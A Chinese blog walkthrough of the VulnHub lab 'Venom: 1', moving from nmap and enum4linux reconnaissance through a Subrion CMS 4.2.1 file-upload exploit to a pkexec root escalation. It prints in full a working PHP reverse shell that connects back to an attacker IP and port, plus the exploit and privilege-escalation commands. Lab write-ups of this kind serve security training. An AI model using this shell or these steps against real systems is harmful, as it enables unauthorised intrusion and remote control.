首页 > 其他分享 >vulnhub靶场之VENOM: 1

vulnhub靶场之VENOM: 1

时间:2023-02-08 14:25:23浏览次数:45  
标签:shell printit hostinger 信息 VENOM vulnhub input 靶场 pipes

准备:

攻击机:虚拟机kali、本机win10。

靶机:Venom: 1,下载地址:https://download.vulnhub.com/venom/venom.zip,下载后直接vbox打开即可。

知识点:enum4linux扫描、敏感信息发现、dns解析、Subrion CMS框架、文件上传漏洞、shell反弹、pkexec提权。

 信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.180。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.180,显示开放了21、80、139、443、445端口,开启了http服务、ftp服务、samba服务等。

 使用enum4linux对samba服务进行扫描,命令:enum4linux 192.168.5.180,发现账户信息:nathan、hostinger。

 访问web服务,在其源码信息中发现md5加密的信息,解密获得:hostinger,上面已经获得账户信息,猜测这里可能是密码信息。

 

ftp服务:

使用获得账户信息:nathan、hostinger和可能是密码的信息:hostinger进行ftp登录,在使用:hostinger/hostinger进行登录时,成功登录。在ftp服务中获得隐藏的文件信息:hint.txt文件。

下载hint.txt文件并读取该文件信息两条base64加密的信息、一个密码信息:L7f9l8@J#p%Ue+Q1234、一个账户信息:dora、一个域名信息:venom.box。

 对两条bse64信息进行解密,获得一个解密网站:https://cryptii.com/pipes/vigenere-cipher。

 在该解密网站对获得密码进行解密,获得一组密码信息:E7r9t8@Q#h%Hy+M1234。

DNS解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:192.168.5.180 venom.box,然后访问:http://venom.box/。

 使用获得账户和密码信息:dora/E7r9t8@Q#h%Hy+M1234在登录页面:成功登陆后在设置页面发现框架和版本信息:Subrion CMS v 4.2.1。

获取shell: 

在kali中搜索下该框架版本:Subrion CMS v 4.2.1是否存在漏洞信息,发现了一个文件上传漏洞。

查看该漏洞的利用信息并进行利用:python 49876.py -u "http://venom.box/panel/" -l "dora" -p "E7r9t8@Q#h%Hy+M1234",成功获取到shell权限,但是获取的shell权限执行命令受限。

但是利用该漏洞之后在web服务中的上传文件的地方发现了上传的文件信息,其后缀为:phar,因此我们上传(右键)一个回连的php脚本,脚本信息可以在:https://www.revshells.com/网站生成。上传成功后在kali中开启对6688端口的监听,然后访问该文件:http://venom.box/uploads/shell.phar,成功获得shell权限。

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.5.150';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>
View Code

 提权-nathan:

使用之前获得账户信息:hostinger/hostinger切换成hostinger账户,然后在/var/backup.bak目录下发现.backup.txt文件,读取该文件信息是hostinger账户的信息,但是已经切换到hostinger账户了,这里已经没啥用了。

尝试使用sudo -l和find / -perm -4000 -type f 2>/dev/null来查询下可以进行提权的信息,但是没任何发现。

然后经过一番查找发现,在/var/www/html/subrion/backup目录下发现.htaccess文件,读取该文件信息获取到一组字符串:FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a,猜测是nathan账户的密码。

使用获得的账户信息:nathan/FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a切换到nathan账户。

提权-root:

使用sudo -l查看下nathan可以执行的root命令信息,发现除了su外都可以。

 那就查询下具有root权限的命令信息:find / -perm -4000 -type f 2>/dev/null,发现find、pkexec等命令。

 查询下pkexec命令的提权方式,命令:sudo pkexec /bin/sh,成功提权到root权限。

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。 

标签:shell,printit,hostinger,信息,VENOM,vulnhub,input,靶场,pipes
From: https://www.cnblogs.com/upfine/p/17101102.html

相关文章

  • DVWA靶场实战(十三)——CSP Bypass
    DVWA靶场实战(十三)十三、CSPBypass:1.漏洞原理:CSPBypass全称是Content-Security-Policy,中文叫做绕过内容安全策略。Content-Security-Policy是一个HTTP响应头的名称......
  • vulnhub靶场之CEREAL: 1
    准备:攻击机:虚拟机kali、本机win10。靶机:Cereal:1,下载地址:https://download.vulnhub.com/cereal/Cereal.ova,下载后直接vbox打开即可。知识点:/etc/passwd文件提权、dns解......
  • Vulnhub:Player-v1.1靶机
    kali:192.168.111.111靶机:192.168.111.178信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.178访问80端口发现存在一个目录访问该目录发......
  • Web安全入门与靶场实战(28)- Metasploit基本操作
    继续查看searchsploit搜索出来的exploit,其中有些exploit的描述信息中带有(Metasploit),表示这个exploit已经被集成到了Metasploit中,所以下面我们就使用Metasploit来继续进行she......
  • vulnhub之my_webserver
    一、信息收集1、c段扫描,获取靶机IP──(kali㉿kali)-[~]└─$sudonmap-sn192.168.62.129/24[sudo]passwordforkali:StartingNmap7......
  • vulnhub:easy_cloudantivirus靶机
    kali:192.168.111.111靶机:192.168.111.177信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.177访问8080端口在输入框填入双引号发现报错......
  • 红日内网靶场一
    0x00前言这个系列是我打完ay内网靶场以后往后衍生的一个系列,写的过程中会有很多多余的东西是我在尝试的过程,但是我也会记录下来给自己一个提醒积累经验的过程一次两的犯错......
  • vulnhub:Its_October靶机
    kali:192.168.111.111靶机:192.168.111.175信息收集端口扫描nmap-A-v-sV-T5-p---script=http-enum192.168.111.1758080端口查看源码提示存在mynote.txt文件......
  • Vulnhub之Looz靶机详细测试过程
    Looz识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/Looz]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:192.168.56.0/24|ScreenView:......
  • Vulnhub之Nasef靶机详细测试过程(未能Root)
    Nasef靶机信息名称:Nasef1:LocatingTarget地址:识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Nase]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentl......